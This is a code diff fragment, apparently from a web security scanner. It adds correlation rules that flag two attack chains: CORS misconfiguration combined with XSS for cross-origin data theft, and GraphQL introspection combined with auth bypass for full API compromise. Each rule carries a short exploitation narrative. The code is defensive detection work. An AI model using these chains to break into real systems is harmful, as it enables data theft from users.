+ title: 'CORS Misconfiguration + XSS → Cross-Origin Data Theft',
384
+ narrative: `CORS policy allows arbitrary origins AND XSS vulnerabilities exist. An attacker can use XSS to make authenticated cross-origin requests from the victim's browser, reading API responses containing sensitive data. The permissive CORS policy allows the attacker's domain to receive the data.`,
385
+ findings: [...corsFindings, ...xssFindings].map(x => x.id),
386
+ exploitation: 'XSS payload reads API data → CORS allows cross-origin response → data exfiltrated',
387
+ });
388
+ }
389
+
390
+ // GraphQL Introspection + Auth Bypass
391
+ if (any(/graphql.*introspection/) && any(/auth.*bypass|missing.*auth|rate.*limit/)) {
392
+ const gqlFindings = has(/graphql.*introspection/);
393
+ const authFindings = has(/auth.*bypass|missing.*auth|rate.*limit/);
394
+
395
+ correlations.push({
396
+ type: 'attack_chain',
397
+ severity: 'critical',
398
+ title: 'GraphQL Introspection + Auth Bypass → Full API Compromise',
399
+ narrative: `GraphQL introspection exposes the entire API schema AND authentication can be bypassed. An attacker can enumerate all queries and mutations via introspection, then execute them without authentication — gaining read/write access to the entire data layer.`,
400
+ findings: [...gqlFindings, ...authFindings].map(x => x.id),
401
+ exploitation: 'Introspection maps schema → bypass auth → execute mutations → full data access',
402
+ });
389
403
  }
390
404
 
391
405
  return correlations;